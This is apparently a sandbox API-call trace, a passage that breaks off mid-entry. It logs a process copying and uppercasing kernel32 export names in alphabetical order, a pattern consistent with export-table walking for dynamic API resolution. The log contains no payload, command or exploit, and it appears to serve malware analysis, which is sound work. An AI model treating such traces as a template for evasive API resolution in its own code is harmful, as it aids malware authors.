lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0140.590] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0140.590] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0140.590] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0140.590] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0140.590] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0140.590] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0140.590] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0140.590] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0140.590] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0140.590] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0140.590] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0140.590] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0140.590] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0140.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0140.590] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0140.591] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0140.591] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0140.591] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0140.591] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0140.591] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0140.591] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0140.591] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0140.591] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0140.591] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0140.591] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0140.591] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0140.591] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0140.591] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0140.591] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0140.591] lstrlenA (lpString="BACKUPREAD") returned 10 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0140.591] lstrlenA (lpString="BACKUPSEEK") returned 10 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0140.591] lstrlenA (lpString="BACKUPWRITE") returned 11 [0140.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0140.591] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0140.592] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0140.592] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0140.592] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0140.592] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0140.592] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0140.592] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0140.592] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0140.592] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0140.592] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0140.592] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0140.592] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0140.592] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0140.592] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0140.592] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0140.592] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0140.592] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0140.592] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0140.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0140.592] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0140.593] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0140.593] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0140.593] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0140.593] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0140.593] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0140.593] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0140.593] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0140.593] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0140.593] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0140.593] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0140.593] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0140.593] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0140.593] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0140.593] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0140.593] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0140.593] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0140.593] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0140.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0140.593] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0140.594] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0140.594] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0140.594] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0140.594] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0140.594] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0140.594] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0140.594] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0140.594] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0140.594] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0140.594] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0140.594] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0140.594] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0140.594] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0140.594] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0140.594] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0140.594] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0140.594] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0140.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0140.594] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0140.595] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0140.595] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0140.595] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0140.595] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0140.595] lstrlenA (lpString="BEEP") returned 4 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0140.595] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0140.595] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0140.595] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0140.595] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0140.595] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0140.595] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0140.595] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0140.595] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0140.595] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0140.595] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0140.595] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0140.595] lstrlenA (lpString="CANCELIO") returned 8 [0140.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0140.595] lstrlenA (lpString="CANCELIOEX") returned 10 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0140.596] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0140.596] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0140.596] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0140.596] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0140.596] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0140.596] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0140.596] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0140.596] lstrlenA (lpString="CHECKELEVATION") returned 14 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0140.596] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0140.596] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: 